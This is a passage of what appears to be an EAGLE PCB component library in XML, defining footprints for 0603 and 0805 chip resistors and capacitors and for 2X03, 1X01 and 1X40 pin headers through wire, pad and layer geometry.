name=\"2\" x=\"0\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.04\" y=\"-4.89\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-4.89\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"R0603\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.432\" y1=\"-0.356\" x2=\"0.432\" y2=\"-0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.432\" y1=\"0.356\" x2=\"-0.432\" y2=\"0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.889\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4318\" y1=\"-0.4318\" x2=\"0.8382\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.8382\" y1=\"-0.4318\" x2=\"-0.4318\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C0603\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C0805\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.381\" y1=\"0.66\" x2=\"0.381\" y2=\"0.66\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.66\" x2=\"0.381\" y2=\"-0.66\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0922\" y1=\"-0.7239\" x2=\"-0.3421\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"0.3556\" y1=\"-0.7239\" x2=\"1.1057\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.4001\" x2=\"0.1001\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n</packages>\n</library>\n<library name=\"pinhead\">\n<description>&lt;b&gt;Pin Header Connectors&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"2X03\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"-3.175\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.905\" x2=\"-0.635\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-2.54\" x2=\"1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"-3.81\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"1.905\" x2=\"-3.175\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"2.54\" x2=\"-1.905\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"2.54\" x2=\"-1.27\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.905\" x2=\"-0.635\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"2.54\" x2=\"0.635\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"2.54\" x2=\"1.27\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.905\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"1.905\" x2=\"1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-2.54\" x2=\"0.635\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-2.54\" x2=\"-1.905\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"1.905\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-2.54\" x2=\"3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"1.905\" x2=\"1.905\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"2.54\" x2=\"3.175\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"2.54\" x2=\"3.81\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.905\" x2=\"3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-2.54\" x2=\"3.175\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"-2.54\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"0\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"4\" x=\"0\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"5\" x=\"2.54\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"6\" x=\"2.54\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"3.175\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-4.445\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.794\" y1=\"-1.524\" x2=\"-2.286\" y2=\"-1.016\" layer=\"51\"/>\n<rectangle x1=\"-2.794\" y1=\"1.016\" x2=\"-2.286\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"1.016\" x2=\"0.254\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-1.524\" x2=\"0.254\" y2=\"-1.016\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"1.016\" x2=\"2.794\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-1.524\" x2=\"2.794\" y2=\"-1.016\" layer=\"51\"/>\n</package>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X40\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-4.445\" y1=\"1.27\" x2=\"-3.175\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0.635\" x2=\"-2.54\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.635\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0.635\" x2=\"-6.985\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"1.27\" x2=\"-5.715\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"1.27\" x2=\"-5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0.635\" x2=\"-5.08\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-0.635\" x2=\"-5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"-1.27\" x2=\"-6.985\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"-1.27\" x2=\"-7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"1.27\" x2=\"-5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-0.635\" x2=\"-4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-1.27\" x2=\"-4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.065\" y1=\"1.27\" x2=\"-10.795\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.795\" y1=\"1.27\" x2=\"-10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"0.635\" x2=\"-10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"-0.635\" x2=\"-10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"0.635\" x2=\"-9.525\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.525\" y1=\"1.27\" x2=\"-8.255\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"1.27\" x2=\"-7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0.635\" x2=\"-7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"-0.635\" x2=\"-8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"-1.27\" x2=\"-9.525\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.525\" y1=\"-1.27\" x2=\"-10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"0.635\" x2=\"-14.605\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-14.605\" y1=\"1.27\" x2=\"-13.335\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"1.27\" x2=\"-12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"0.635\" x2=\"-12.7\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"-0.635\" x2=\"-13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-1.27\" x2=\"-14.605\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-14.605\" y1=\"-1.27\" x2=\"-15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.065\" y1=\"1.27\" x2=\"-12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"-0.635\" x2=\"-12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.795\" y1=\"-1.27\" x2=\"-12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-19.685\" y1=\"1.27\" x2=\"-18.415\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.415\" y1=\"1.27\" x2=\"-17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"0.635\" x2=\"-17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"-0.635\" x2=\"-18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"0.635\" x2=\"-17.145\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.145\" y1=\"1.27\" x2=\"-15.875\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.875\" y1=\"1.27\" x2=\"-15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"0.635\" x2=\"-15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"-0.635\" x2=\"-15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.875\" y1=\"-1.27\" x2=\"-17.145\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.145\" y1=\"-1.27\" x2=\"-17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"0.635\" x2=\"-22.225\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.225\" y1=\"1.27\" x2=\"-20.955\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.955\" y1=\"1.27\" x2=\"-20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"0.635\" x2=\"-20.32\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"-0.635\" x2=\"-20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.955\" y1=\"-1.27\" x2=\"-22.225\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.225\" y1=\"-1.27\" x2=\"-22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-19.685\" y1=\"1.27\" x2=\"-20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"-0.635\" x2=\"-19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.415\" y1=\"-1.27\" x2=\"-19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.305\" y1=\"1.27\" x2=\"-26.035\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-26.035\" y1=\"1.27\" x2=\"-25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"0.635\" x2=\"-25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"-0.635\" x2=\"-26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"0.635\" x2=\"-24.765\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-24.765\" y1=\"1.27\" x2=\"-23.495\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-23.495\" y1=\"1.27\" x2=\"-22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"0.635\" x2=\"-22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"-0.635\" x2=\"-23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-23.495\" y1=\"-1.27\" x2=\"-24.765\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-24.765\" y1=\"-1.27\" x2=\"-25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"0.635\" x2=\"-29.845\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-29.845\" y1=\"1.27\" x2=\"-28.575\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-28.575\" y1=\"1.27\" x2=\"-27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" y1=\"0.635\" x2=\"-27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" y1=\"-0.635\" x2=\"-28.575\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-28.575\" y1=\"-1.27\" x2=\"-29.845\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-29.845\" y1=\"-1.27\" x2=\"-30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.305\" y1=\"1.27\" x2=\"-27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" y1=\"-0.635\" x2=\"-27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-26.035\" y1=\"-1.27\" x2=\"-27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-34.925\" y1=\"1.27\" x2=\"-33.655\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.655\" y1=\"1.27\" x2=\"-33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"0.635\" x2=\"-33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"-0.635\" x2=\"-33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"0.635\" x2=\"-32.385\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-32.385\" y1=\"1.27\" x2=\"-31.115\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-31.115\" y1=\"1.27\" x2=\"-30.48\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"0.635\" x2=\"-30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"-0.635\" x2=\"-31.115\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-31.115\" y1=\"-1.27\" x2=\"-32.385\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-32.385\" y1=\"-1.27\" x2=\"-33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"0.635\" x2=\"-37.465\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-37.465\" y1=\"1.27\" x2=\"-36.195\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-36.195\" y1=\"1.27\" x2=\"-35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"0.635\" x2=\"-35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"-0.635\" x2=\"-36.195\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-36.195\" y1=\"-1.27\" x2=\"-37.465\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-37.465\" y1=\"-1.27\" x2=\"-38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-34.925\" y1=\"1.27\" x2=\"-35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"-0.635\" x2=\"-34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.655\" y1=\"-1.27\" x2=\"-34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-42.545\" y1=\"1.27\" x2=\"-41.275\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-41.275\" y1=\"1.27\" x2=\"-40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"0.635\" x2=\"-40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"-0.635\" x2=\"-41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"0.635\" x2=\"-40.005\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.005\" y1=\"1.27\" x2=\"-38.735\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.735\" y1=\"1.27\" x2=\"-38.1\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"0.635\" x2=\"-38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"-0.635\" x2=\"-38.735\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.735\" y1=\"-1.27\" x2=\"-40.005\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.005\" y1=\"-1.27\" x2=\"-40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"0.635\" x2=\"-45.085\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.085\" y1=\"1.27\" x2=\"-43.815\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.815\" y1=\"1.27\" x2=\"-43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"0.635\" x2=\"-43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"-0.635\" x2=\"-43.815\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.815\" y1=\"-1.27\" x2=\"-45.085\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.085\" y1=\"-1.27\" x2=\"-45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-42.545\" y1=\"1.27\" x2=\"-43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"-0.635\" x2=\"-42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-41.275\" y1=\"-1.27\" x2=\"-42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.165\" y1=\"1.27\" x2=\"-48.895\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.895\" y1=\"1.27\" x2=\"-48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"0.635\" x2=\"-48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"-0.635\" x2=\"-48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"0.635\" x2=\"-47.625\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-47.625\" y1=\"1.27\" x2=\"-46.355\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-46.355\" y1=\"1.27\" x2=\"-45.72\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"0.635\" x2=\"-45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"-0.635\" x2=\"-46.355\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-46.355\" y1=\"-1.27\" x2=\"-47.625\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-47.625\" y1=\"-1.27\" x2=\"-48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.8\" y1=\"0.635\" x2=\"-50.8\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire 